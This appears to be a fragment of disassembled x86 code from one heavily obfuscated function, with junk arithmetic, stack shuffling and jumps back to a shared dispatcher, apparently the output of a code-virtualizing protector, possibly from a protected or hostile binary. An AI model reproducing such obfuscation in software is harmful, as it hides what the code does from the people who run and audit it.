loc_59B0A8:				; CODE XREF: sub_57DD3A+172F8j
		sub	ecx, edx
		sub	ecx, 59710694h
		mov	edx, ecx
		pop	ecx
		sub	edx, 0FA2CE024h
		push	esi
		jmp	loc_596F1D
; ---------------------------------------------------------------------------


loc_59B0BF:				; CODE XREF: sub_57DD3A+14430j
		push	ebp
		jmp	loc_5945C9
; ---------------------------------------------------------------------------


loc_59B0C5:				; CODE XREF: sub_57DD3A+12D2Ej
		push	esi
		mov	esi, 4093759Bh
		jmp	loc_5A1367
; ---------------------------------------------------------------------------


loc_59B0D0:				; CODE XREF: sub_57DD3A+17382j
		pop	bp
		add	di, si
		jmp	loc_59FACB
; ---------------------------------------------------------------------------


loc_59B0DA:				; CODE XREF: sub_57DD3A+208FAj
		push	5C24h
		jmp	loc_590DEB
; ---------------------------------------------------------------------------


loc_59B0E4:				; CODE XREF: sub_57DD3A+14ED1j
		pop	[esp+1Eh+var_1E]
		jmp	loc_5992D2
; ---------------------------------------------------------------------------


loc_59B0EC:				; CODE XREF: sub_57DD3A+214BFj
		pop	esi
		push	19A7h
		jmp	loc_597D67
; ---------------------------------------------------------------------------


loc_59B0F7:				; CODE XREF: sub_57DD3A+1B12Ej
		mov	[esp+0Eh+var_E], edx
		jmp	loc_58E3DB
; ---------------------------------------------------------------------------


loc_59B0FF:				; CODE XREF: sub_57DD3A+227F3j
		pop	ecx
		mov	ch, al
		jmp	loc_59F6DC
; ---------------------------------------------------------------------------


loc_59B107:				; CODE XREF: sub_57DD3A+19BA2j
		not	edi
		sub	edi, 6AC0ED01h
		jmp	loc_597ED0
; ---------------------------------------------------------------------------


loc_59B114:				; CODE XREF: sub_57DD3A+1FA80j
		mov	edx, esp
		jmp	loc_59D4BE
; ---------------------------------------------------------------------------


loc_59B11B:				; CODE XREF: sub_57DD3A+254A1j
		mov	edi, eax
		jmp	loc_59CC1F
; ---------------------------------------------------------------------------


loc_59B122:				; CODE XREF: sub_57DD3A+20A36j
		xchg	esi, [esp+4Eh+var_50+2]
		pop	esp
		mov	edx, [esp+4Ah+var_4C+2]
		jmp	loc_5A0CC7
; ---------------------------------------------------------------------------


loc_59B12E:				; CODE XREF: sub_57DD3A+2245Fj
		mov	esi, 7DB20F09h
		jmp	loc_595BA3
; ---------------------------------------------------------------------------


loc_59B138:				; CODE XREF: sub_57DD3A+1D85Fj
		pop	ebx
		mov	bl, al
		push	[esp+46h+var_46]
		pop	eax
		jmp	loc_599AC3
; ---------------------------------------------------------------------------


loc_59B144:				; CODE XREF: sub_57DD3A+24BF4j
		sub	edx, 4
		xor	edx, [esp+46h+var_46]
		xor	[esp+46h+var_46], edx
		jmp	loc_59A1E4
; ---------------------------------------------------------------------------


loc_59B152:				; CODE XREF: sub_57DD3A+132E2j
		push	ecx
		mov	ecx, 25554986h
		inc	ecx
		neg	ecx
		sub	ecx, 0B4EC7184h
		mov	edx, ecx
		pop	ecx
		jmp	loc_5A036F
; ---------------------------------------------------------------------------


loc_59B169:				; CODE XREF: sub_57DD3A+227CFj
		pop	edx
		jmp	loc_592465
; ---------------------------------------------------------------------------


loc_59B16F:				; CODE XREF: sub_57DD3A+19923j
		mov	ebp, esp
		add	ebp, 4
		push	eax
		jmp	loc_592F06
; ---------------------------------------------------------------------------


loc_59B17D:				; CODE XREF: sub_57DD3A+1AB1Aj
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_592A84
; ---------------------------------------------------------------------------


loc_59B18E:				; CODE XREF: sub_57DD3A+166D8j
		push	ebp
		push	29F077F6h
		pop	ebp
		sub	edx, 277B067Ah
		sub	edx, 5DF156D7h
		add	edx, ebp
		add	edx, 5DF156D7h
		add	edx, 277B067Ah
		pop	ebp
		jmp	loc_59A8E4
; ---------------------------------------------------------------------------


loc_59B1B5:				; CODE XREF: sub_57DD3A+1C10Dj
		sub	ecx, 45E879FBh
		add	ecx, ebx
		add	ecx, 45E879FBh
		jmp	loc_5A246D
; ---------------------------------------------------------------------------


loc_59B1C8:				; CODE XREF: sub_57DD3A+149CAj
		dec	ecx
		neg	ecx
		and	ecx, 3D9F3799h
		sub	ecx, 380AFFFCh
		mov	ebx, ecx
		pop	ecx
		jmp	loc_59F720
; ---------------------------------------------------------------------------


loc_59B1DF:				; CODE XREF: sub_57DD3A+19063j
		pop	bx
		jmp	loc_59DB3C
; ---------------------------------------------------------------------------


loc_59B1E6:				; CODE XREF: sub_57DD3A+1561Dj
		mov	edx, [esp+10h+var_12+2]
		add	esp, 4
		pop	ecx
		sub	esp, 2
		mov	word ptr [esp+0Ch+var_E+2], cx
		mov	ch, 0C2h
		add	bl, ch
		pop	cx
		push	3633h
		jmp	loc_59E2E8
; ---------------------------------------------------------------------------


loc_59B207:				; CODE XREF: sub_57DD3A+13FBAj
		sub	esp, 4
		mov	[esp+0], eax
		jmp	loc_5971B2
; ---------------------------------------------------------------------------


loc_59B212:				; CODE XREF: sub_57DD3A+1207Aj
		push	eax
		mov	eax, 72F80778h
		jmp	loc_597698
; ---------------------------------------------------------------------------


loc_59B21D:				; CODE XREF: sub_57DD3A+10DCAj
		add	ebp, 151319Eh
		mov	edi, [esp+14h+var_16+2]
		add	esp, 4
		xor	ebp, [esp+10h+var_12+2]
		xor	[esp+10h+var_12+2], ebp
		xor	ebp, [esp+10h+var_12+2]
		pop	esp
		and	eax, edx
		push	[esp+0Ch+var_E+2]
		mov	edx, [esp+10h+var_12+2]
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jz	loc_59A982
		push	dword ptr [edi+28h]
		xor	[esp+0Ch+var_E+2], 6C334CF2h
		push	[esp+0Ch+var_E+2]
		jmp	loc_59349D
; ---------------------------------------------------------------------------


loc_59B261:				; CODE XREF: sub_57DD3A+22910j
		xor	ch, 2Fh
		push	cx
		mov	ch, 0E3h
		jmp	loc_5A0016
; ---------------------------------------------------------------------------


loc_59B26D:				; CODE XREF: sub_57DD3A+1C4ADj
		mov	esp, [esp+0]
		mov	[esp+0], ecx
		push	[esp+arg_0]
		push	[esp+4+var_4]
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+8+var_8]
		pop	esp
		jmp	loc_598C25
; ---------------------------------------------------------------------------


loc_59B298:				; CODE XREF: sub_57DD3A+14D45j
		add	ebp, 62584D54h
		push	[esp+2+var_4+2]
		pop	edx
		add	esp, 4
		push	ecx
		mov	ecx, 2
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp+0]
		mov	esp, [esp+0]
		btc	[esp+0], ax
		pushf
		jmp	loc_594636
; ---------------------------------------------------------------------------
		pop	dword ptr [edi+40h]
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59B2C7:				; CODE XREF: sub_57DD3A+24585j
		mov	eax, 1B73511Eh
		sub	eax, 0AF060A4Bh
		jmp	loc_5948E3
; ---------------------------------------------------------------------------


loc_59B2D6:				; CODE XREF: sub_57DD3A+21241j
		mov	edi, 102A6FF8h
		dec	edi
		inc	edi
		shr	edi, 3
		xor	edi, 5DBA074Ah
		jmp	loc_594B8E
; ---------------------------------------------------------------------------


loc_59B2EB:				; CODE XREF: sub_57DD3A+1B120j
		add	ebp, 280F1DB3h
		sub	ebp, edx
		jmp	loc_59241E
; ---------------------------------------------------------------------------


loc_59B2F8:				; CODE XREF: sub_57DD3A+147D3j
		push	1D3Dh
		mov	[esp+58h+var_58], ebx
		jmp	loc_5957AC
; ---------------------------------------------------------------------------


loc_59B305:				; CODE XREF: sub_57DD3A+20D18j
		xor	dl, 0E0h
		push	eax
		mov	ah, dl
		mov	bl, ah
		pop	eax
		jmp	loc_599D47
; ---------------------------------------------------------------------------


loc_59B313:				; CODE XREF: sub_57DD3A+155ADj
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 13CD2D82h
		shr	edx, 2
		jmp	loc_58F956
; ---------------------------------------------------------------------------


loc_59B329:				; CODE XREF: sub_57DD3A+1F122j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-4+arg_0]
		pop	esp
		add	ecx, 4
		push	31B6h
		mov	[esp-4+arg_0], ebx
		mov	ebx, 4
		jmp	loc_599D6E
; ---------------------------------------------------------------------------


loc_59B351:				; CODE XREF: sub_57DD3A+1BBA5j
		mov	[esp+3Ch+var_3E+2], edx
		mov	edx, 4
		sub	[esp+3Ch+var_3A+2], 1634CCAh
		jmp	loc_5900EE
; ---------------------------------------------------------------------------


loc_59B366:				; CODE XREF: sub_57DD3A+153FBj
		push	edi
		mov	edi, 332A02AAh
		sub	ecx, edi
		jmp	loc_59FA50
; ---------------------------------------------------------------------------


loc_59B373:				; CODE XREF: sub_57DD3A+112B4j
		push	small word ptr [esp+48h+var_46]
		jmp	loc_59DD61
; ---------------------------------------------------------------------------


loc_59B37D:				; CODE XREF: sub_57DD3A+11534j
		push	eax
		mov	eax, 92A07DAh
		add	ebp, 688E1699h
		jmp	loc_5A10EB
; ---------------------------------------------------------------------------


loc_59B38E:				; CODE XREF: sub_57DD3A+21F11j
		pop	esp
		and	eax, ecx
		push	[esp+10h+var_12+2]
		mov	ecx, [esp+14h+var_16+2]
		add	esp, 4
		add	esp, 4
		shr	eax, 8
		xor	eax, ecx
		sub	esp, 4
		mov	[esp+10h+var_12+2], edx
		push	esp
		pop	edx
		push	ebp
		push	62F10482h
		mov	ebp, [esp+18h+var_1A+2]
		jmp	loc_58F514
; ---------------------------------------------------------------------------


loc_59B3BE:				; CODE XREF: sub_57DD3A+1F3A3j
		mov	esi, 0F1CDDB18h
		add	ebx, esi
		pop	esi
		mov	eax, ebx
		jmp	loc_5939B1
; ---------------------------------------------------------------------------


loc_59B3CD:				; CODE XREF: sub_57DD3A+1EBA1j
		pop	eax
		not	ebp
		inc	ebp
		jmp	loc_5A1A5E
; ---------------------------------------------------------------------------


loc_59B3D6:				; CODE XREF: sub_57DD3A+109E5j
		sub	edi, 4
		xchg	edi, [esp+14h+var_16+2]
		pop	esp
		mov	[esp+10h+var_12+2], ecx
		sub	esp, 4
		mov	[esp+14h+var_16+2], esp
		add	[esp+14h+var_16+2], 4
		push	[esp+14h+var_16+2]
		pop	ecx
		add	esp, 4
		jmp	loc_597580
; ---------------------------------------------------------------------------


loc_59B3F9:				; CODE XREF: sub_57DD3A+1069Cj
		and	ebp, 228E1E35h
		push	esi
		push	ebp
		jmp	loc_593E4D
; ---------------------------------------------------------------------------


loc_59B406:				; CODE XREF: sub_57DD3A+13B0Aj
		mov	[esp+60h+var_60], eax
		mov	eax, 2C9974B1h
		inc	eax
		push	esi
		push	ebx
		push	edx
		mov	edx, 52CD4127h
		mov	ebx, edx
		pop	edx
		jmp	loc_59A675
; ---------------------------------------------------------------------------


loc_59B41F:				; CODE XREF: sub_57DD3A+15002j
		push	edi
		mov	edi, 4FE9393Ah
		xor	edx, edi
		mov	edi, [esp+2Ch+var_2E+2]
		jmp	loc_590890
; ---------------------------------------------------------------------------


loc_59B42F:				; CODE XREF: sub_57DD3A+1D840j
		pop	esp
		mov	[esp+28h+var_2A+2], ebx
		not	byte ptr [esp+28h+var_2A+3]
		pop	ebx
		jmp	loc_58E89D
; ---------------------------------------------------------------------------


loc_59B43D:				; CODE XREF: sub_57DD3A+1A68Aj
		mov	edi, edx
		jmp	loc_599675
; ---------------------------------------------------------------------------


loc_59B444:				; CODE XREF: sub_57DD3A+1F909j
		sub	[esp+54h+var_50], ebp
		pop	ebp
		add	[esp+50h+var_50], eax
		add	[esp+50h+var_50], 700E2851h
		sub	[esp+50h+var_50], 6A3C600Bh
		add	[esp+50h+var_50], 18BD58F4h
		push	esi
		sub	esp, 4
		jmp	loc_59B784
; ---------------------------------------------------------------------------


loc_59B46A:				; CODE XREF: sub_57DD3A+19AAEj
		xor	ecx, [esp+5Eh+var_60+2]
		xor	[esp+5Eh+var_60+2], ecx
		xor	ecx, [esp+5Eh+var_60+2]
		jmp	loc_58F908
; ---------------------------------------------------------------------------


loc_59B478:				; CODE XREF: sub_57DD3A+168BFj
		sub	esp, 4
		jmp	loc_59604D
; ---------------------------------------------------------------------------


loc_59B480:				; CODE XREF: sub_57DD3A+1FC16j
		xor	ecx, 0C8158E4h
		not	ecx
		shl	ecx, 3
		shr	ecx, 1
		push	esi
		mov	esi, 0FFCC80E4h
		sub	ecx, esi
		jmp	loc_59DF48
; ---------------------------------------------------------------------------


loc_59B49A:				; CODE XREF: sub_57DD3A+13265j
		or	eax, 78D0838h
		inc	eax
		jmp	loc_593C50
; ---------------------------------------------------------------------------


loc_59B4A5:				; CODE XREF: sub_57DD3A+11692j
		push	esi
		push	2
		pop	esi
		add	edx, esi
		jmp	loc_59CCD2
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_5A0C70
; ---------------------------------------------------------------------------


loc_59B4B9:				; CODE XREF: sub_57DD3A+1E1DDj
		mov	ecx, 1BF9142Fh
		sub	esi, ecx
		pop	ecx
		jmp	loc_5A25E8
; ---------------------------------------------------------------------------


loc_59B4C6:				; CODE XREF: sub_57DD3A+12EF4j
		pop	edx
		pop	edi
		push	4E2Dh
		mov	[esp+54h+var_54], edx
		jmp	loc_592A0B
; ---------------------------------------------------------------------------


loc_59B4D5:				; CODE XREF: sub_57DD3A+25587j
		pop	edx
		jmp	loc_59C7A4
; ---------------------------------------------------------------------------


loc_59B4DB:				; CODE XREF: sub_57DD3A+1F80Cj
		add	esp, 4
		sub	eax, 4
		push	eax
		push	[esp+50h+var_4C]
		pop	eax
		jmp	loc_593C02
; ---------------------------------------------------------------------------


loc_59B4EE:				; CODE XREF: sub_57DD3A+178F3j
		mov	[esp+22h+var_22], ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp+26h+var_26], eax
		sub	esp, 4
		jmp	loc_58E8DF
; ---------------------------------------------------------------------------


loc_59B501:				; CODE XREF: sub_57DD3A+19326j
		pop	eax
		add	eax, ebp
		pop	ebp
		pop	edi
		xor	eax, [esp-0Ch+arg_6+2]
		xor	[esp-0Ch+arg_6+2], eax
		xor	eax, [esp-0Ch+arg_6+2]
		mov	esp, [esp-0Ch+arg_6+2]
		shr	byte ptr [esp-0Ch+arg_6+2], cl
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59B51B:				; CODE XREF: sub_57DD3A+21149j
		sub	ch, 0A6h
		sub	ch, 0C3h
		add	ch, bl
		jmp	loc_58E97F
; ---------------------------------------------------------------------------


loc_59B528:				; CODE XREF: sub_57DD3A+221A5j
		add	bl, al
		push	small 7E11h
		mov	word ptr [esp-6+arg_0+2], ax
		mov	ah, 0E8h
		add	bl, 54h
		add	bl, ah
		sub	bl, 54h
		mov	ax, word ptr [esp-6+arg_0+2]
		add	esp, 2
		push	76F9h
		jmp	loc_59E103
; ---------------------------------------------------------------------------


loc_59B550:				; CODE XREF: sub_57DD3A+184C6j
		mov	[esp+3Ah+var_3A], edx
		jmp	loc_592B3D
; ---------------------------------------------------------------------------


loc_59B558:				; CODE XREF: sub_57DD3A+226EAj
		add	edi, 2
		jmp	loc_5985F4
; ---------------------------------------------------------------------------


loc_59B560:				; CODE XREF: sub_57DD3A+1E147j
		mov	edx, [esp+3Ah+var_3A]
		add	esp, 4
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_5A1EAF
; ---------------------------------------------------------------------------


loc_59B577:				; CODE XREF: sub_57DD3A+1EC98j
		xchg	ebp, [esp+3Ah+var_3A]
		jmp	loc_59B42F
; ---------------------------------------------------------------------------


loc_59B57F:				; CODE XREF: sub_57DD3A+1952Ej
		mov	ecx, [esp+36h+var_36]
		add	esp, 4
		neg	ecx
		shr	ecx, 3
		jmp	loc_59B04E
; ---------------------------------------------------------------------------


loc_59B592:				; CODE XREF: sub_57DD3A+24C79j
		mov	[esp+32h+var_32], ebx
		mov	bh, 0E5h
		mov	al, bh
		jmp	loc_59B138
; ---------------------------------------------------------------------------


loc_59B59E:				; CODE XREF: sub_57DD3A+22409j
		add	edi, 4
		xchg	edi, [esp+32h+var_32]
		mov	esp, [esp+32h+var_32]
		push	eax
		mov	ah, cl
		sub	esp, 4
		mov	[esp+3Ah+var_3A], edx
		mov	dl, ah
		mov	[edi+28h], dl
		jmp	loc_5949E1
; ---------------------------------------------------------------------------


loc_59B5BD:				; CODE XREF: sub_57DD3A+16045j
		xor	edx, 0B0122Eh
		shr	edx, 2
		xchg	eax, edx
		not	eax
		xchg	eax, edx
		xor	edx, 16B631DDh
		jmp	loc_59B9F5
; ---------------------------------------------------------------------------


loc_59B5D5:				; CODE XREF: sub_57DD3A+20C47j
		mov	edx, 3722395Bh
		sub	edx, 1A4F6094h
		jmp	loc_58FA2E
; ---------------------------------------------------------------------------


loc_59B5E5:				; CODE XREF: sub_57DD3A+1953Cj
		push	[esp+36h+var_36]
		pop	ebp
		add	esp, 4
		add	edi, 4
		jmp	loc_59A54E
; ---------------------------------------------------------------------------


loc_59B5F7:				; CODE XREF: sub_57DD3A+1BD19j
		push	ebx
		not	byte ptr [esp+4Ch+var_4C+1]
		pop	ebx
		jmp	loc_59C9A1
; ---------------------------------------------------------------------------


loc_59B602:				; CODE XREF: sub_57DD3A+1799Fj
		mov	esi, esp
		jmp	loc_599C4E
; ---------------------------------------------------------------------------


loc_59B609:				; CODE XREF: sub_57DD3A+17098j
		shl	esi, 1
		push	5A29h
		jmp	loc_592DFD
; ---------------------------------------------------------------------------


loc_59B615:				; CODE XREF: sub_57DD3A+11CDEj
		neg	al
		sub	al, 1
		sub	al, 0C6h
		shl	al, 2
		xor	al, 0A0h
		jmp	loc_5909F8
; ---------------------------------------------------------------------------


loc_59B625:				; CODE XREF: sub_57DD3A+19E92j
		neg	esi
		jmp	loc_59CCDE
; ---------------------------------------------------------------------------


loc_59B62C:				; CODE XREF: sub_57DD3A+1847Aj
		mov	edx, 6B6568B6h
		add	eax, edx
		push	[esp+6+var_8+2]
		jmp	loc_593B56
; ---------------------------------------------------------------------------


loc_59B63B:				; CODE XREF: sub_57DD3A+112D6j
		add	edi, 4
		xor	edi, [esp+40h+var_42+2]
		xor	[esp+40h+var_42+2], edi
		xor	edi, [esp+40h+var_42+2]
		pop	esp
		add	bl, al
		sub	esp, 4
		jmp	loc_5A1F41
; ---------------------------------------------------------------------------


loc_59B655:				; CODE XREF: sub_57DD3A+1FA29j
		pop	esi
		push	eax
		mov	eax, 61320DCAh
		dec	eax
		not	eax
		jmp	loc_5A308D
; ---------------------------------------------------------------------------


loc_59B664:				; CODE XREF: sub_57DD3A+13FC8j
		mov	edx, 461C7872h
		jmp	loc_5919E2
; ---------------------------------------------------------------------------


loc_59B66E:				; CODE XREF: sub_57DD3A+1F296j
		mov	ebp, 0FBB72317h
		jmp	loc_5A2D45
; ---------------------------------------------------------------------------


loc_59B678:				; CODE XREF: sub_57DD3A+111D4j
		xor	edx, 35C9DE6h
		add	edi, edx
		pop	edx
		add	edi, 2
		jmp	loc_593D1D
; ---------------------------------------------------------------------------


loc_59B689:				; CODE XREF: sub_57DD3A+22BA7j
		pop	ax
		sub	ch, dl
		pop	edx
		push	4D02h
		mov	[esp+30h+var_32+2], ecx
		push	ebx
		mov	bh, 90h
		push	dx
		mov	dh, 0C0h
		xor	bh, dh
		pop	dx
		mov	ch, bh
		mov	ebx, [esp+34h+var_36+2]
		jmp	loc_5A177A
; ---------------------------------------------------------------------------


loc_59B6AB:				; CODE XREF: sub_57DD3A+173C1j
		push	7EAE0326h
		pop	ebx
		jmp	loc_599C99
; ---------------------------------------------------------------------------
		lodsb
		push	ecx
		mov	cl, 0FAh
		push	eax
		jmp	loc_5988EA
; ---------------------------------------------------------------------------


loc_59B6C0:				; CODE XREF: sub_57DD3A+1BD8Ej
		mov	ebx, [esp+0]
		add	esp, 4
		add	ah, 68h
		add	bl, ah
		push	[esp-6+arg_0+2]
		mov	eax, [esp+0]
		add	esp, 4
		jmp	loc_58F348
; ---------------------------------------------------------------------------


loc_59B6DF:				; CODE XREF: sub_57DD3A+15842j
		add	esp, 4
		push	61CAh
		mov	[esp+5Ch+var_5C], ebp
		push	esp
		pop	ebp
		push	edi
		jmp	loc_58F8E2
; ---------------------------------------------------------------------------


loc_59B6F5:				; CODE XREF: sub_57DD3A+1F18Ej
		inc	ebx
		and	ebx, 0CE51ADBh
		shr	ebx, 8
		push	ecx
		mov	ecx, 215D0AD4h
		xor	ebx, ecx
		pop	ecx
		add	edx, ebx
		pop	ebx
		jmp	loc_59A379
; ---------------------------------------------------------------------------


loc_59B710:				; CODE XREF: sub_57DD3A+11B2Dj
		push	edx
		jmp	loc_590EAB
; ---------------------------------------------------------------------------


loc_59B716:				; CODE XREF: sub_57DD3A+21D11j
		not	esi
		sub	esi, 0AB960877h
		sub	ecx, esi
		jmp	loc_593B7D
; ---------------------------------------------------------------------------


loc_59B725:				; CODE XREF: sub_57DD3A+173FDj
		xor	ebx, [esp+60h+var_60]
		jmp	loc_5A0678
; ---------------------------------------------------------------------------


loc_59B72D:				; CODE XREF: sub_57DD3A+1C829j
		push	esi
		mov	esi, 11C918CAh
		sub	edi, 99D0F40h
		jmp	loc_59E4FD
; ---------------------------------------------------------------------------


loc_59B73E:				; CODE XREF: sub_57DD3A+1A76Fj
		push	[esp+70h+var_70]
		mov	ecx, [esp+74h+var_74]
		jmp	loc_5A2C59
; ---------------------------------------------------------------------------


loc_59B749:				; CODE XREF: sub_57DD3A+1782Aj
		mov	[esp+54h+var_54], edx
		push	[esp+54h+var_50]
		push	[esp+58h+var_58]
		pop	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+5Ch+var_5C]
		jmp	loc_59AD48
; ---------------------------------------------------------------------------


loc_59B768:				; CODE XREF: sub_57DD3A+17118j
		add	ah, 0ABh
		xor	ah, 2Bh
		add	ch, ah
		pop	ax
		jmp	loc_59140D
; ---------------------------------------------------------------------------


loc_59B777:				; CODE XREF: sub_57DD3A+16CB5j
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_59355F
; ---------------------------------------------------------------------------


loc_59B784:				; CODE XREF: sub_57DD3A+1D72Bj
		mov	[esp+58h+var_58], ebp
		push	2F250B7Ch
		mov	ebp, [esp+5Ch+var_5C]
		add	esp, 4
		push	eax
		mov	eax, 386377C6h
		add	ebp, eax
		pop	eax
		shl	ebp, 4
		push	538Eh
		mov	[esp+5Ch+var_5C], eax
		mov	eax, 0F2870B96h
		add	ebp, eax
		pop	eax
		mov	esi, ebp
		pop	ebp
		add	[esp+54h+var_50], esi
		jmp	loc_590A2D
; ---------------------------------------------------------------------------


loc_59B7BA:				; CODE XREF: sub_57DD3A+220D6j
		add	esp, 4
		jmp	loc_5A135D
; ---------------------------------------------------------------------------


loc_59B7C2:				; CODE XREF: sub_57DD3A+14176j
		mov	ax, word ptr [esp+8+var_8]
		push	2552h
		mov	[esp+0Ch+var_E+2], ebp
		jmp	loc_596AD3
; ---------------------------------------------------------------------------


loc_59B7D3:				; CODE XREF: sub_57DD3A+139CBj
		add	esi, 2F103CE5h
		jmp	loc_59CE3B
; ---------------------------------------------------------------------------


loc_59B7DE:				; CODE XREF: sub_57DD3A+1443Dj
		xchg	ebx, edx
		pop	ebx
		dec	edx
		sub	edx, 232160ADh
		sub	edx, 3D19B09Ch
		add	eax, 66FA42EDh
		add	eax, edx
		sub	eax, 66FA42EDh
		pop	edx
		jmp	loc_59C2B6
; ---------------------------------------------------------------------------


loc_59B800:				; CODE XREF: sub_57DD3A+1EC7Aj
		mov	edi, 54F44BDEh
		or	edi, 3E2C6077h
		shr	edi, 8
		shr	edi, 6
		shl	edi, 4
		neg	edi
		xor	edi, 0F29259ABh
		sub	eax, edi
		pop	edi
		sub	eax, 2F405EB5h
		push	199h
		mov	[esp-6+arg_0+2], ebp
		mov	ebp, 2B81480Ah
		add	eax, ebp
		pop	ebp
		push	esi
		mov	esi, 243E3392h
		add	eax, 4C6638CBh
		add	eax, esi
		sub	eax, 4C6638CBh
		pop	esi
		mov	ecx, [esp-0Ah+arg_6]
		add	esp, 4
		jmp	loc_596F99
; ---------------------------------------------------------------------------


loc_59B852:				; CODE XREF: sub_57DD3A+218A4j
		sub	ecx, 312F1B25h
		neg	ecx
		inc	ecx
		shl	ecx, 5
		neg	ecx
		push	esi
		mov	esi, 59BF9FB9h
		add	ecx, esi
		pop	esi
		jmp	loc_597511
; ---------------------------------------------------------------------------


loc_59B86E:				; CODE XREF: sub_57DD3A+1D2BDj
		push	ebp
		push	[esp+12h+var_E]
		pop	ebp
		jmp	loc_592AF4
; ---------------------------------------------------------------------------


loc_59B879:				; CODE XREF: sub_57DD3A+22929j
		pop	eax
		sub	edx, ebp
		pop	ebp
		sub	edx, 4D8E2801h
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59B888:				; CODE XREF: sub_57DD3A+21AFEj
		mov	ebx, 4
		add	eax, ebx
		jmp	loc_59A55C
; ---------------------------------------------------------------------------


loc_59B894:				; CODE XREF: sub_57DD3A+17C60j
		pop	edx
		jmp	loc_58F795
; ---------------------------------------------------------------------------


loc_59B89A:				; CODE XREF: sub_57DD3A+16E2Fj
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		sub	eax, 4
		xchg	eax, [esp+7Ah+var_7C+2]
		pop	esp
		jmp	loc_599B4A
; ---------------------------------------------------------------------------


loc_59B8AF:				; CODE XREF: sub_57DD3A+1C7B0j
		add	esp, 4
		xor	esi, [esp+50h+var_50]
		xor	[esp+50h+var_50], esi
		xor	esi, [esp+50h+var_50]
		mov	esp, [esp+50h+var_50]
		ror	[esp+50h+var_50], cl
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59B8CA:				; CODE XREF: sub_57DD3A+11436j
		sub	edx, 70D379D5h
		add	edx, esi
		add	edx, 70D379D5h
		mov	esi, [esp+4Eh+var_50+2]
		add	esp, 4
		sub	edx, 4
		xor	edx, [esp+4Ah+var_4C+2]
		jmp	loc_58EAB4
; ---------------------------------------------------------------------------


loc_59B8EC:				; CODE XREF: sub_57DD3A+1A4D3j
		mov	ecx, 468F34E3h
		sub	ecx, 2FB05028h
		push	edx
		mov	edx, 75D44FC2h
		or	edx, 67D6798h
		shl	edx, 3
		jmp	loc_590AF7
; ---------------------------------------------------------------------------


loc_59B90B:				; CODE XREF: sub_57DD3A+16894j
		pop	ebp
		jmp	loc_59CD3E
; ---------------------------------------------------------------------------


loc_59B911:				; CODE XREF: sub_57DD3A+11FFFj
		sub	ebp, 4
		xchg	ebp, [esp+2Eh+var_2E]
		pop	esp
		mov	[esp+2Ah+var_2A], eax
		push	5CD4h
		mov	[esp+2Eh+var_2E], ecx
		push	7DE0h
		mov	[esp+32h+var_32], ebp
		push	61C27C92h
		jmp	loc_59FDAA
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+36h+var_36]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	esp, 4
		mov	[esp+3Eh+var_3E], edx
		push	46B357B9h
		mov	edx, [esp+42h+var_42]
		add	esp, 4
		push	ebx
		mov	ebx, 1
		sub	edx, ebx
		mov	ebx, [esp+42h+var_42]
		add	esp, 4
		push	0
		sub	[esp+42h+var_42], edx
		jmp	loc_593CEE
; ---------------------------------------------------------------------------


loc_59B971:				; CODE XREF: sub_57DD3A+1A9D4j
		mov	esp, [esp+78h+var_78]
		imul	ecx
		push	3767h
		jmp	loc_59F673
; ---------------------------------------------------------------------------


loc_59B980:				; CODE XREF: sub_57DD3A+1E9E5j
		sub	ebp, eax
		pop	eax
		mov	eax, ebp
		mov	ebp, [esp+78h+var_78]
		add	esp, 4
		jmp	loc_5A28CE
; ---------------------------------------------------------------------------


loc_59B990:				; CODE XREF: sub_57DD3A+13D02j
		add	[esp+16h+var_12], 26E52447h
		add	[esp+16h+var_12], 5DB23B3Fh
		sub	[esp+16h+var_12], 3A2D7B7Dh
		add	[esp+16h+var_12], edx
		add	[esp+16h+var_12], 3A2D7B7Dh
		jmp	loc_58F07C
; ---------------------------------------------------------------------------


loc_59B9B9:				; CODE XREF: sub_57DD3A+19CBBj
		mov	esp, [esp+0]
		mov	[esp+0], esi
		mov	esi, 68A4227Fh
		sub	eax, esi
		push	dword ptr [esp+0]
		mov	esi, [esp+4+var_4]
		jmp	loc_5A106A
; ---------------------------------------------------------------------------


loc_59B9D1:				; CODE XREF: sub_57DD3A+22EBBj
		push	ecx
		mov	ecx, 76BB70D8h
		xor	ecx, 19A3384Ch
		dec	ecx
		xor	ecx, 6F184897h
		jmp	loc_58F532
; ---------------------------------------------------------------------------


loc_59B9E9:				; CODE XREF: sub_57DD3A+23AE0j
		pop	ecx
		add	bh, 36h
		add	bh, 0ACh
		jmp	loc_595DF3
; ---------------------------------------------------------------------------


loc_59B9F5:				; CODE XREF: sub_57DD3A+1D896j
		xor	edx, 0CE8DF393h
		sub	eax, edx
		push	[esp-4+arg_0]
		mov	edx, [esp+0]
		jmp	loc_5A0566
; ---------------------------------------------------------------------------


loc_59BA08:				; CODE XREF: sub_57DD3A+190D6j
		mov	edx, esp
		add	edx, 4
		push	esi
		push	edx
		jmp	loc_59E978
; ---------------------------------------------------------------------------


loc_59BA17:				; CODE XREF: sub_57DD3A+1318Bj
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		push	ebp
		jmp	loc_599D79
; ---------------------------------------------------------------------------


loc_59BA25:				; CODE XREF: sub_57DD3A+17ECFj
		push	[esp+0Ch+var_E+2]
		jmp	loc_59761B
; ---------------------------------------------------------------------------


loc_59BA2D:				; CODE XREF: sub_57DD3A+1EE4Dj
		push	eax
		push	esp
		push	[esp+18h+var_1A+2]
		pop	eax
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
